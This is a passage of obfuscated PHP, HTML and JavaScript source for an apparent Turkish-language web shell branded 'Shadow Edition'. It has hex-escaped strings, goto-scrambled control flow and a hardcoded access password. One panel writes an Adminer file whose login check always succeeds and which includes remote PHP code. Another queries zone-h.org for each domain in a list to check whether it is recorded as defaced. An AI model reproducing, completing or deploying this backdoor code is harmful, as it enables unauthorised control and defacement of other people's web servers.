placeholder="Kullanıcı" value="root"> </div> <div class="input-group"> <input type="password" name="db_pass" placeholder="Şifre" value=""> <input type="text" name="db_name" placeholder="Veritabanı" value="mysql"> </div> <div class="input-group"> <button type="submit" name="adminer_action" value="config" class="btn-neon-adminer primary"> <i class="fas fa-save"></i> Kaydet </button> <button type="reset" class="btn-neon-adminer danger small"> <i class="fas fa-undo"></i> Sıfırla </button> </div> </form> <?php if (isset($_POST["\x61\x64\x6d\151\x6e\145\x72\x5f\141\x63\x74\151\157\156"]) && $_POST["\141\144\x6d\151\x6e\x65\x72\137\141\143\x74\151\157\x6e"] == "\x63\157\x6e\146\151\147") { $host = $_POST["\144\x62\x5f\x68\157\x73\164"] ?? "\154\x6f\x63\141\x6c\150\x6f\163\164"; $user = $_POST["\x64\x62\137\165\x73\x65\x72"] ?? "\162\157\157\x74"; $pass = $_POST["\144\x62\x5f\160\x61\x73\x73"] ?? ''; $name = $_POST["\x64\x62\137\156\x61\x6d\x65"] ?? "\155\x79\163\x71\154"; $newCode = "\x3c\x3f\160\x68\160\xa\146\165\156\143\x74\x69\157\x6e\40\x61\x64\x6d\151\156\145\162\137\157\x62\x6a\x65\143\164\x28\51\x20\173\12\x20\x20\40\x20\x63\x6c\141\163\163\40\101\144\155\x69\x6e\x65\162\40\145\x78\x74\145\156\x64\x73\x20\x41\x64\155\151\x6e\145\162\120\154\x75\x67\151\156\x20\173\xa\40\40\x20\x20\40\40\40\x20\x66\165\x6e\143\164\151\157\x6e\40\156\x61\x6d\145\x28\x29\40\x7b\40\x72\x65\x74\x75\x72\156\40\42\342\232\241\40\x53\150\x61\144\157\167\40\101\144\x6d\151\156\x65\162\42\73\x20\175\12\40\x20\x20\x20\40\x20\40\x20\x66\165\x6e\x63\164\151\157\156\40\x64\141\164\x61\x62\x61\163\145\x28\51\x20\x7b\40\162\x65\164\165\x72\156\40\x22\x56\145\162\151\164\141\142\x61\156\304\xb1\42\73\40\x7d\12\40\40\40\40\40\40\40\40\x66\x75\156\x63\164\151\157\156\x20\x6c\157\147\x69\156\50\44\x6c\x6f\x67\x69\156\x2c\x20\x24\x70\x61\x73\x73\x77\157\162\x64\x29\x20\x7b\40\x72\145\x74\165\162\x6e\40\x74\162\165\145\x3b\x20\x7d\xa\x20\x20\40\x20\40\40\40\40\146\165\x6e\x63\164\x69\157\156\40\143\162\145\144\x65\x6e\x74\x69\141\154\163\x28\x29\40\173\x20\162\x65\164\165\162\156\40\141\x72\162\x61\171\x28\42" . addslashes($host) . "\42\54\x20\x22" . addslashes($user) . "\x22\x2c\40\42" . addslashes($pass) . "\x22\51\73\x20\175\12\40\40\x20\40\40\x20\x20\x20\x66\x75\156\x63\164\151\157\156\x20\x70\x65\x72\x6d\x61\156\x65\156\164\x4c\x6f\147\x69\156\x28\51\x20\173\40\162\145\x74\x75\162\156\x20\x74\x72\165\145\x3b\x20\x7d\xa\40\40\40\x20\x7d\12\40\40\40\40\x72\x65\x74\x75\162\156\x20\156\145\167\x20\x41\x64\x6d\x69\156\x65\x72\x3b\12\175\12\x69\x66\x20\50\41\146\165\x6e\143\x74\151\x6f\156\137\145\170\151\163\x74\163\50\x22\x61\x64\x6d\x69\156\145\x72\42\51\51\x20\173\xa\40\x20\x20\40\x69\x6e\x63\154\x75\x64\145\40\42\x68\164\164\x70\x73\x3a\x2f\x2f\167\167\x77\x2e\141\144\x6d\x69\x6e\145\162\x2e\x6f\x72\x67\x2f\163\164\x61\x74\151\143\57\x64\x6f\167\x6e\x6c\157\141\144\57\x34\56\x38\x2e\x31\57\x61\144\x6d\151\156\x65\x72\x2d\x34\56\x38\56\x31\56\x70\150\160\x22\x3b\12\x7d\12"; if (@file_put_contents($adminerPath, $newCode)) { echo "\74\144\x69\x76\40\x63\154\141\163\163\75\42\141\144\x6d\x69\x6e\x65\162\x2d\157\x75\164\160\165\x74\42\x20\x73\164\171\x6c\145\75\42\155\141\x72\147\151\156\x2d\164\157\x70\72\61\x30\160\x78\73\42\x3e"; echo "\x3c\144\x69\166\x20\x63\154\141\x73\163\x3d\x22\157\x75\x74\160\x75\164\x2d\154\151\156\145\42\x3e\74\163\x70\x61\x6e\x20\x63\154\x61\x73\163\x3d\x22\163\x75\143\x63\x65\163\163\42\x3e\342\234\x85\40\101\171\141\162\154\141\x72\x20\153\141\171\144\x65\144\151\154\x64\x69\x3c\x2f\163\160\x61\x6e\76\74\57\x64\151\x76\76"; echo "\x3c\144\151\166\40\143\x6c\x61\163\163\x3d\x22\157\165\x74\x70\x75\x74\55\x6c\x69\x6e\x65\x22\76\x3c\x73\x70\x61\156\40\143\x6c\x61\163\163\x3d\42\144\151\155\x22\76\360\x9f\x94\227\x20\110\157\163\164\72\40" . htmlspecialchars($host) . "\x3c\57\163\160\141\x6e\x3e\74\57\x64\151\166\76"; echo "\x3c\x64\151\x76\x20\143\x6c\141\x73\163\75\x22\x6f\165\164\x70\165\x74\x2d\154\x69\x6e\x65\x22\76\74\163\x70\x61\x6e\40\143\154\x61\163\163\75\42\x64\151\x6d\42\x3e\360\x9f\x91\244\x20\113\165\x6c\x6c\x61\x6e\xc4\261\x63\304\261\x3a\40" . htmlspecialchars($user) . "\x3c\57\163\160\141\156\x3e\74\57\144\x69\166\76"; echo "\x3c\144\x69\x76\40\x63\x6c\x61\163\163\75\x22\157\165\164\x70\165\x74\55\154\x69\x6e\x65\x22\76\74\x73\160\141\x6e\x20\143\154\141\163\163\x3d\x22\x64\151\x6d\42\76\360\x9f\223\212\40\126\145\x72\151\164\x61\142\x61\x6e\xc4\261\x3a\x20" . htmlspecialchars($name) . "\74\x2f\163\x70\x61\x6e\x3e\x3c\57\144\151\x76\x3e"; echo "\x3c\x2f\144\151\x76\x3e"; } else { echo "\x3c\144\151\166\40\x63\154\x61\x73\163\75\42\141\144\155\x69\156\x65\x72\x2d\157\x75\x74\x70\165\x74\x22\x20\163\x74\171\154\x65\x3d\42\155\141\162\x67\151\x6e\55\164\x6f\160\x3a\x31\x30\160\x78\73\42\x3e"; echo "\x3c\x64\x69\x76\40\x63\154\x61\x73\x73\x3d\x22\157\x75\164\x70\165\x74\55\x6c\x69\x6e\145\42\76\x3c\163\160\x61\x6e\x20\143\154\141\163\x73\x3d\x22\145\162\162\157\162\x22\76\342\235\x8c\40\101\x79\x61\x72\154\141\x72\x20\153\141\x79\144\x65\144\x69\x6c\145\155\145\x64\151\x21\x3c\x2f\163\160\141\156\76\x3c\57\144\x69\x76\x3e"; echo "\74\x2f\144\151\166\x3e"; } } ?> <div style="margin-top:10px;font-size:9px;color:rgba(180,150,255,0.2);"> <i class="fas fa-info-circle"></i> Adminer 4.8.1 | Shadow Edition </div> </div> </div> </div> <script> // ===== PARTİKÜL SİSTEMİ ===== (function() { const canvas = document.getElementById('particle-canvas-adminer'); if (!canvas) return; const ctx = canvas.getContext('2d'); let particles = []; let animationId = null; let mouseX = 0; let mouseY = 0; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize', resizeCanvas); resizeCanvas(); class Particle { constructor() { this.reset(); } reset() { this.x = Math.random() * canvas.width; this.y = Math.random() * canvas.height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.3 + 0.05; this.phase = Math.random() * Math.PI * 2; this.color = ['#b300ff', '#ff00aa', '#00d4ff', '#00ff88', '#ffd700'][Math.floor(Math.random() * 5)]; } update() { this.x += this.speedX + Math.sin(this.phase) * 0.1; this.y += this.speedY + Math.cos(this.phase) * 0.1; this.phase += 0.01; const dx = mouseX - this.x; const dy = mouseY - this.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x -= dx * force * 0.01; this.y -= dy * force * 0.01; } if (this.x < 0) this.x = canvas.width; if (this.x > canvas.width) this.x = 0; if (this.y < 0) this.y = canvas.height; if (this.y > canvas.height) this.y = 0; } draw() { const gradient = ctx.createRadialGradient(this.x, this.y, 0, this.x, this.y, this.size * 4); gradient.addColorStop(0, this.color + Math.round(this.opacity * 150).toString(16).padStart(2, '0')); gradient.addColorStop(0.5, this.color + Math.round(this.opacity * 50).toString(16).padStart(2, '0')); gradient.addColorStop(1, this.color + '00'); ctx.beginPath(); ctx.arc(this.x, this.y, this.size * 4, 0, Math.PI * 2); ctx.fillStyle = gradient; ctx.fill(); ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color + Math.round(this.opacity * 200).toString(16).padStart(2, '0'); ctx.fill(); } } const particleCount = Math.min(80, Math.floor(window.innerWidth * window.innerHeight / 25000)); for (let i = 0; i < particleCount; i++) { particles.push(new Particle()); } function drawConnections() { for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { const opacity = (1 - dist / 120) * 0.06; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${opacity})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); particles.forEach(p => { p.update(); p.draw(); }); drawConnections(); animationId = requestAnimationFrame(animate); } document.addEventListener('mousemove', (e) => { mouseX = e.clientX; mouseY = e.clientY; }); document.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); animate(); window.addEventListener('beforeunload', () => { if (animationId) { cancelAnimationFrame(animationId); } }); })(); // ===== ADMINER FUNCTIONS ===== function copyPath(path) { if (navigator.clipboard) { navigator.clipboard.writeText(path).then(() => {}); } else { const input = document.createElement('input'); input.value = path; document.body.appendChild(input); input.select(); document.execCommand('copy'); document.body.removeChild(input); } } function downloadAdminer() { const url = 'https://www.adminer.org/static/download/4.8.1/adminer-4.8.1.php'; window.open(url, '_blank'); } function checkDatabase() { location.reload(); } // ===== QUERY PRESET ===== document.addEventListener('DOMContentLoaded', function() { const presetSelect = document.querySelector('select[name=query_preset]'); const queryTextarea = document.querySelector('textarea[name=query_sql]'); if (presetSelect && queryTextarea) { presetSelect.addEventListener('change', function() { if (this.value) { queryTextarea.value = this.value; } }); } }); // ===== FORMAT SIZE ===== function formatSize(bytes) { if (bytes === 0 || bytes === false || isNaN(bytes) || bytes === null) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } </script> <?php } goto ql1UL; nEBf6: $config = array("\160\x61\x73\x73\x77\x6f\x72\144" => "\x31\66\x30\x39\123\x6c\157\167", "\x74\x68\145\x6d\145" => "\x64\141\x72\x6b", "\x74\x69\x6d\145\x7a\157\x6e\x65" => "\105\x75\162\157\x70\145\x2f\111\x73\x74\x61\156\x62\x75\x6c", "\166\x65\162\x73\151\157\x6e" => "\x44\145\x76\145\x6c\x6f\160\145\144\40\x42\171\40\x53\154\x6f\x77\40", "\155\141\170\137\x6c\157\147\x69\x6e\137\141\x74\x74\145\x6d\160\164\163" => 5); goto ePAZO; MEFAJ: ?> "><i class="fas fa-folder"></i><span>Dosyalar</span></a> <a href="?action=chmod" class="<?php goto lfLoU; EEvWa: if ($action == "\x7a\x6f\x6e\145\150") { ?> <style> .zoneh-konteyner { background: linear-gradient(135deg, #0a000a, #1a001a); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 12px; padding: 18px; margin: 10px 0; box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); position: relative; overflow: hidden; } .zoneh-konteyner::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(179, 0, 255, 0.05) 0%, transparent 70%); animation: zonehNabiz 15s ease-in-out infinite; pointer-events: none; } @keyframes zonehNabiz { 0%, 100% { transform: rotate(0deg) scale(1); opacity: 0.5; } 50% { transform: rotate(180deg) scale(1.5); opacity: 1; } } .zoneh-baslik { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 2px solid rgba(179, 0, 255, 0.2); } .zoneh-baslik-sol { color: #b300ff; font-size: 14px; font-weight: 700; text-shadow: 0 0 20px rgba(179, 0, 255, 0.5); display: flex; align-items: center; gap: 10px; } .zoneh-baslik-sol i { font-size: 18px; } .zoneh-baslik-sag { display: flex; gap: 6px; align-items: center; } .zoneh-rozet { font-size: 8px; color: #8866aa; background: rgba(179, 0, 255, 0.1); padding: 2px 8px; border-radius: 10px; border: 1px solid rgba(179, 0, 255, 0.2); font-family: 'Courier New', monospace; } .zoneh-form { display: flex; flex-direction: column; gap: 10px; margin-bottom: 15px; } .zoneh-form textarea { background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 6px; padding: 10px 12px; color: #d4bfff; font-size: 12px; font-family: 'Courier New', monospace; min-height: 100px; resize: vertical; transition: all 0.3s; width: 100%; box-sizing: border-box; } .zoneh-form textarea:focus { border-color: #b300ff; box-shadow: 0 0 20px rgba(179, 0, 255, 0.2); outline: none; } .zoneh-form textarea::placeholder { color: #8866aa; } .zoneh-buton { padding: 10px 20px; border: none; border-radius: 6px; font-weight: 600; font-size: 12px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s; font-family: 'Courier New', monospace; display: inline-flex; align-items: center; justify-content: center; gap: 8px; color: #ffffff !important; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); background: linear-gradient(135deg, #ff0044, #b30033); box-shadow: 0 0 20px rgba(255, 0, 68, 0.2); flex: 1; } .zoneh-buton:hover { transform: scale(1.02); box-shadow: 0 0 40px rgba(255, 0, 68, 0.4); color: #ffffff !important; } .zoneh-buton i { color: #ffffff !important; } .zoneh-buton-basarili { background: linear-gradient(135deg, #00cc66, #008b45); box-shadow: 0 0 20px rgba(0, 255, 136, 0.2); } .zoneh-buton-basarili:hover { box-shadow: 0 0 40px rgba(0, 255, 136, 0.4); } .zoneh-buton-grubu { display: flex; gap: 8px; flex-wrap: wrap; } .zoneh-sonuclar { background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 8px; max-height: 500px; overflow-y: auto; padding: 10px; font-family: 'Courier New', monospace; font-size: 11px; margin-top: 10px; } .zoneh-sonuclar::-webkit-scrollbar { width: 4px; } .zoneh-sonuclar::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); } .zoneh-sonuclar::-webkit-scrollbar-thumb { background: linear-gradient(135deg, #b300ff, #ff0044); border-radius: 2px; } .zoneh-sonuc-kalemi { padding: 6px 10px; margin: 3px 0; border-radius: 4px; border-left: 3px solid rgba(179, 0, 255, 0.3); transition: all 0.2s; display: flex; justify-content: space-between; align-items: center; gap: 10px; } .zoneh-sonuc-kalemi:hover { background: rgba(179, 0, 255, 0.05); border-left-color: #b300ff; } .zoneh-sonuc-kalemi .alan-adı { color: #d4bfff; flex: 1; word-break: break-all; } .zoneh-sonuc-kalemi .alan-adı i { margin-right: 6px; color: #b300ff; } .zoneh-sonuc-kalemi .durum { font-weight: bold; font-size: 10px; white-space: nowrap; } .zoneh-sonuc-kalemi .durum.basarili { color: #00ff88; } .zoneh-sonuc-kalemi .durum.basarisiz { color: #ff0044; } .zoneh-sonuc-kalemi .durum.hata { color: #ffaa00; } .zoneh-istatistik { display: grid; grid-template-columns: repeat(3, 1fr); gap: 8px; margin-top: 10px; padding: 10px; background: rgba(0, 0, 0, 0.3); border-radius: 6px; border: 1px solid rgba(179, 0, 255, 0.1); } .zoneh-istatistik-kalemi { display: flex; justify-content: space-between; color: #8866aa; font-size: 10px; padding: 2px 0; font-family: 'Courier New', monospace; } .zoneh-istatistik-kalemi .deger { color: #d4bfff; font-weight: bold; } .zoneh-istatistik-kalemi .deger.basarili { color: #00ff88; } .zoneh-istatistik-kalemi .deger.basarisiz { color: #ff0044; } .zoneh-bos { text-align: center; padding: 20px; color: #8866aa; font-family: 'Courier New', monospace; font-size: 11px; } .zoneh-bos i { font-size: 24px; display: block; margin-bottom: 10px; color: #b300ff; } </style> <div class="zoneh-konteyner"> <div class="zoneh-baslik"> <div class="zoneh-baslik-sol"> <i class="fas fa-globe"></i> ZONE-H SORGULAYICI <span style="font-size:8px;color:#8866aa;font-weight:400;"> <i class="fas fa-crown" style="color:#b300ff;"></i> TÜRKÇE </span> </div> <div class="zoneh-baslik-sag"> <span class="zoneh-rozet"> <i class="fas fa-bolt" style="color:#b300ff;"></i> <?php echo php_uname("\x73"); ?> </span> </div> </div> <form method="POST" class="zoneh-form"> <textarea name="zoneh_alanlar" rows="5" placeholder="🌐 Domainleri girin (her satıra bir tane) Örnek: example.com test.org site.net" ><?php echo htmlspecialchars($_POST["\x7a\157\156\x65\150\137\x61\154\x61\156\154\141\x72"] ?? ''); ?> </textarea> <div class="zoneh-buton-grubu"> <button type="submit" name="zoneh_eylem" value="sorgula" class="zoneh-buton"> <i class="fas fa-search"></i> SORGULA </button> <button type="submit" name="zoneh_eylem" value="temizle" class="zoneh-buton zoneh-buton-basarili"> <i class="fas fa-broom"></i> TEMİZLE </button> </div> </form> <?php if (isset($_POST["\172\157\156\x65\150\x5f\x65\x79\x6c\145\155"])) { $zoneh_eylem = $_POST["\172\x6f\x6e\145\x68\x5f\x65\171\x6c\145\155"]; if ($zoneh_eylem == "\x74\145\155\x69\x7a\x6c\x65") { unset($_SESSION["\172\157\156\145\150\137\x73\157\x6e\165\x63\x6c\141\x72"]); echo "\74\144\x69\166\x20\x63\154\x61\163\x73\75\42\172\x6f\156\x65\x68\55\163\x6f\x6e\x75\x63\x6c\x61\x72\42\76"; echo "\x3c\x64\151\166\40\x73\x74\171\x6c\145\x3d\42\x74\145\x78\x74\55\141\x6c\x69\147\x6e\x3a\x63\145\x6e\164\145\x72\x3b\x70\x61\x64\x64\x69\156\147\72\x32\60\x70\170\73\143\157\x6c\157\x72\x3a\x23\x30\60\x66\146\70\70\73\146\157\x6e\x74\55\x66\141\155\151\x6c\171\72\x43\x6f\x75\162\x69\145\162\x20\116\145\x77\x2c\x6d\x6f\x6e\157\163\x70\141\143\x65\73\x22\x3e"; echo "\x3c\x69\40\143\154\141\163\x73\75\42\x66\x61\x73\40\146\x61\55\143\150\x65\143\153\x2d\143\x69\x72\x63\x6c\x65\x22\x20\x73\164\171\154\x65\75\42\x66\157\156\164\55\x73\151\x7a\145\72\x32\x34\x70\x78\x3b\144\x69\x73\x70\154\141\171\x3a\142\x6c\x6f\143\x6b\x3b\x6d\x61\162\x67\x69\x6e\55\x62\x6f\x74\164\x6f\x6d\x3a\x31\60\x70\x78\x3b\42\76\x3c\57\151\76"; echo "\342\234\205\40\x53\157\x6e\x75\303\247\154\141\x72\x20\164\x65\155\151\x7a\154\x65\156\x64\151\41"; echo "\74\x2f\144\151\166\76"; echo "\x3c\57\x64\x69\166\x3e"; } elseif ($zoneh_eylem == "\x73\x6f\162\x67\x75\154\141") { $zoneh_alanlar = trim($_POST["\x7a\157\156\x65\x68\137\x61\x6c\x61\156\154\x61\162"] ?? ''); if (empty($zoneh_alanlar)) { echo "\x3c\144\x69\166\40\x63\x6c\141\163\163\x3d\x22\172\x6f\156\145\x68\x2d\163\157\x6e\165\143\x6c\x61\x72\x22\76"; echo "\74\144\151\x76\40\x73\164\x79\x6c\x65\75\x22\164\145\170\164\x2d\x61\x6c\x69\x67\156\x3a\x63\145\x6e\x74\x65\x72\73\160\141\144\144\x69\156\x67\x3a\x32\60\x70\170\73\143\x6f\154\157\x72\x3a\43\146\146\141\x61\x30\60\x3b\x66\x6f\x6e\x74\x2d\x66\x61\155\151\154\x79\72\x43\x6f\165\162\x69\145\162\40\x4e\145\x77\54\x6d\x6f\156\x6f\163\x70\x61\x63\x65\73\42\76"; echo "\x3c\x69\40\143\x6c\141\x73\x73\75\x22\x66\x61\x73\x20\146\141\x2d\145\x78\143\x6c\141\x6d\141\x74\151\157\156\x2d\164\x72\x69\x61\x6e\147\x6c\x65\x22\40\x73\164\x79\x6c\x65\75\x22\146\157\156\164\55\x73\151\172\145\72\x32\x34\160\x78\x3b\144\x69\163\x70\154\x61\x79\72\142\x6c\x6f\x63\x6b\x3b\155\x61\x72\147\151\156\55\142\157\164\x74\157\x6d\x3a\61\x30\x70\170\x3b\143\157\x6c\157\162\72\x23\146\x66\x61\141\60\60\x3b\x22\x3e\x3c\x2f\151\76"; echo "\342\x9a\240\xef\xb8\x8f\40\x4c\303\274\x74\x66\145\x6e\40\x65\x6e\40\x61\x7a\40\x62\x69\x72\40\x64\x6f\x6d\x61\x69\x6e\40\147\151\162\151\x6e\41"; echo "\x3c\57\144\x69\x76\x3e"; echo "\74\x2f\x64\151\166\76"; } else { $zoneh_alan_listesi = explode("\12", $zoneh_alanlar); $zoneh_alan_listesi = array_filter(array_map("\x74\162\151\x6d", $zoneh_alan_listesi)); $zoneh_toplam = count($zoneh_alan_listesi); $zoneh_basarili_sayisi = 0; $zoneh_basarisiz_sayisi = 0; $zoneh_hata_sayisi = 0; $zoneh_sonuc_dizisi = array(); $zoneh_hata_mesajlari = array(); echo "\x3c\144\151\166\x20\x63\x6c\141\x73\x73\75\x22\x7a\x6f\x6e\x65\x68\55\x73\157\156\165\x63\154\141\x72\42\x3e"; echo "\x3c\144\151\166\40\163\164\171\154\x65\x3d\x22\143\x6f\x6c\157\x72\72\43\x62\x33\x30\60\146\146\73\x66\157\x6e\164\55\x73\151\x7a\145\72\61\x32\x70\x78\x3b\146\157\x6e\164\55\167\145\151\147\x68\x74\x3a\x62\x6f\x6c\144\x3b\155\x61\x72\147\x69\156\x2d\142\x6f\164\164\157\x6d\x3a\61\60\x70\x78\73\x66\x6f\x6e\164\55\x66\141\x6d\x69\154\x79\x3a\x43\x6f\165\162\x69\145\162\x20\116\145\167\x2c\155\x6f\156\x6f\163\160\141\143\x65\x3b\42\76"; echo "\360\x9f\x8c\220\40" . $zoneh_toplam . "\x20\x64\157\155\141\151\156\x20\163\157\162\x67\x75\x6c\141\x6e\304\xb1\x79\x6f\162\56\x2e\56"; echo "\x3c\x2f\x64\151\166\76"; foreach ($zoneh_alan_listesi as $zoneh_indeks => $zoneh_alan) { $zoneh_alan = trim($zoneh_alan); if (empty($zoneh_alan)) { continue; } $zoneh_url = "\150\x74\x74\x70\x3a\57\x2f\167\x77\167\x2e\x7a\157\156\x65\x2d\x68\x2e\x6f\x72\x67\x2f\163\x65\141\x72\x63\150\x2f" . urlencode($zoneh_alan); $zoneh_talep = curl_init(); curl_setopt($zoneh_talep, CURLOPT_URL, $zoneh_url); curl_setopt($zoneh_talep, CURLOPT_RETURNTRANSFER, true); curl_setopt($zoneh_talep, CURLOPT_FOLLOWLOCATION, true); curl_setopt($zoneh_talep, CURLOPT_TIMEOUT, 10); curl_setopt($zoneh_talep, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($zoneh_talep, CURLOPT_USERAGENT, "\115\157\x7a\151\154\x6c\141\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\144\157\x77\163\40\116\124\x20\61\x30\x2e\x30\73\x20\x57\151\156\x36\64\x3b\40\170\66\64\51\40\x41\x70\160\154\145\127\145\x62\113\x69\x74\x2f\65\x33\x37\56\63\66"); $zoneh_cevap = curl_exec($zoneh_talep); $zoneh_durum_kodu = curl_getinfo($zoneh_talep, CURLINFO_HTTP_CODE); $zoneh_hata = curl_error($zoneh_talep); curl_close($zoneh_talep); $zoneh_bulundu = false; $zoneh_durum = ''; $zoneh_durum_sinifi = "\x62\x61\163\141\x72\151\x73\151\x7a"; if ($zoneh_hata) { $zoneh_durum = "\xe2\235\x8c\x20\x42\141\xc4\x9f\154\141\156\164\xc4\261\40\x68\x61\164\x61\163\304\xb1"; $zoneh_durum_sinifi = "\x68\x61\x74\x61"; $zoneh_hata_sayisi++; $zoneh_hata_mesajlari[] = $zoneh_alan . "\72\x20" . $zoneh_hata; } elseif ($zoneh_durum_kodu == 200) { if (strpos($zoneh_cevap, "\x64\145\146\x61\143\x65\144") !== false || strpos($zoneh_cevap, "\155\x69\x72\x72\x6f\162") !== false || strpos($zoneh_cevap, "\150\x61\143\x6b\145\144") !== false) { $zoneh_bulundu = true; $zoneh_durum = "\342\x9c\x85\x20\104\x45\106\x41\103\105\40\x42\x55\114\x55\x4e\104\x55\x21"; $zoneh_durum_sinifi = "\142\x61\163\141\x72\151\x6c\151"; $zoneh_basarili_sayisi++; } else { $zoneh_durum = "\xe2\235\214\40\x44\x65\146\141\x63\x65\x20\x62\x75\154\x75\x6e\141\155\141\x64\304\261"; $zoneh_durum_sinifi = "\142\x61\x73\x61\162\x69\163\x69\x7a"; $zoneh_basarisiz_sayisi++; } } else { $zoneh_durum = "\xe2\x9d\214\x20\110\124\124\120\40" . $zoneh_durum_kodu; $zoneh_durum_sinifi = "\x62\x61\x73\141\162\x69\163\151\172"; $zoneh_basarisiz_sayisi++; } $zoneh_sonuc_dizisi[] = array("\x61\154\x61\156" => $zoneh_alan, "\144\x75\x72\165\155" => $zoneh_durum, "\x73\151\156\151\x66" => $zoneh_durum_sinifi, "\x62\165\x6c\x75\156\x64\165" => $zoneh_bulundu); $zoneh_icon = $zoneh_bulundu ? "\146\x61\55\x65\170\143\154\x61\155\x61\x74\151\157\156\55\x74\162\x69\141\x6e\147\154\145" : "\146\x61\x2d\147\x6c\157\142\145"; $zoneh_icon_renk = $zoneh_bulundu ? "\43\x66\x66\60\60\x34\x34" : "\43\x62\63\x30\x30\x66\x66"; echo "\74\x64\151\x76\40\143\154\x61\163\x73\75\x22\x7a\x6f\156\x65\150\55\163\157\156\165\x63\55\153\x61\154\x65\155\x69\x22\40\163\x74\x79\x6c\145\75\x22\142\157\x72\144\x65\x72\x2d\154\145\x66\x74\55\143\x6f\x6c\157\x72\x3a" . ($zoneh_bulundu ? "\43\x66\x66\60\x30\x34\64" : "\x23\x62\63\60\60\146\146") . "\x3b\x22\76"; echo "\74\x73\160\141\x6e\x20\143\x6c\141\163\x73\75\42\141\154\x61\x6e\x2d\141\144\xc4\xb1\42\x3e"; echo "\74\x69\x20\143\154\x61\x73\x73\x3d\42\x66\141\163\40" . $zoneh_icon . "\42\40\163\x74\171\x6c\x65\x3d\42\x63\x6f\x6c\x6f\x72\x3a" . $zoneh_icon_renk . "\x3b\42\76\74\57\x69\76\40"; echo htmlspecialchars($zoneh_alan); echo "\x3c\57\x73\x70\x61\156\x3e"; echo "\x3c\163\160\141\x6e\x20\143\154\141\x73\x73\75\42\144\x75\x72\165\155\x20" . $zoneh_durum_sinifi . "\x22\76" . $zoneh_durum . "\74\57\x73\160\x61\156\76"; echo "\74\x2f\144\151\166\x3e"; usleep(200000); flush(); } echo "\74\144\151\x76\40\x63\x6c\x61\163\x73\x3d\x22\172\157\156\x65\150\x2d\x69\x73\x74\x61\164\151\x73\x74\151\153\x22\x3e"; echo "\74\144\151\166\x20\x63\154\x61\163\163\x3d\42\x7a\x6f\x6e\x65\x68\x2d\151\163\164\141\x74\x69\x73\164\151\x6b\55\153\x61\x6c\145\x6d\x69\42\x3e"; echo "\74\163\160\x61\156\x3e\xf0\237\x93\x8a\40\124\157\x70\x6c\x61\155\74\x2f\x73\x70\x61\156\x3e"; echo "\x3c\x73\x70\x61\156\x20\143\154\141\x73\163\75\x22\x64\x65\x67\x65\162\42\x3e" . $zoneh_toplam . "\x3c\x2f\x73\x70\x61\x6e\76"; echo "\x3c\57\x64\151\166\x3e"; echo "\74\144\x69\166\x20\143\x6c\141\x73\x73\x3d\42\172\157\156\x65\150\55\x69\163\164\141\164\x69\x73\164\151\153\x2d\x6b\x61\154\x65\155\x69\x22\x3e"; echo "\74\x73\x70\x61\x6e\x3e\xe2\234\205\40\x42\165\x6c\165\x6e\141\x6e\x3c\x2f\163\x70\141\x6e\x3e"; echo "\x3c\163\160\x61\x6e\40\x63\x6c\x61\x73\163\75\42\144\145\147\145\162\40\x62\141\x73\x61\x72\x69\154\151\x22\x3e" . $zoneh_basarili_sayisi . "\74\x2f\x73\160\x61\156\x3e"; echo "\x3c\x2f\144\151\166\x3e"; echo "\74\x64\x69\x76\40\x63\154\141\x73\x73\75\42\172\x6f\x6e\145\x68\x2d\151\x73\164\141\164\x69\x73\164\151\153\x2d\x6b\x61\154\x65\155\151\42\76"; echo "\x3c\x73\160\x61\x6e\76\342\x9d\x8c\40\102\165\x6c\165\x6e\x61\155\x61\171\x61\156\74\x2f\163\160\x61\x6e\x3e"; echo "\x3c\x73\160\141\x6e\x20\x63\154\x61\x73\163\x3d\42\144\145\147\145\x72\x20\x62\141\163\141\162\x69\163\151\x7a\x22\x3e" . $zoneh_basarisiz_sayisi . "\x3c\57\163\160\x61\156\x3e"; echo "\x3c\x2f\144\x69\166\76"; echo "\74\144\x69\x76\x20\x63\x6c\x61\163\x73\x3d\42\172\x6f\156\x65\x68\55\x69\163\x74\141\164\151\x73\x74\x69\153\x2d\153\141\154\145\155\151\x22\76"; echo "\74\163\160\x61\x6e\76\342\x9a\240\xef\xb8\217\40\110\x61\x74\141\154\xc4\261\74\x2f\x73\x70\x61\156\76"; echo "\74\163\160\x61\156\40\143\x6c\141\163\163\75\x22\144\145\x67\145\162\x22\40\163\164\171\154\x65\75\42\x63\x6f\x6c\157\x72\x3a\43\x66\146\x61\x61\60\60\x3b\x22\x3e" . $zoneh_hata_sayisi . "\x3c\x2f\163\160\x61\x6e\x3e"; echo "\x3c\57\x64\151\x76\76"; echo 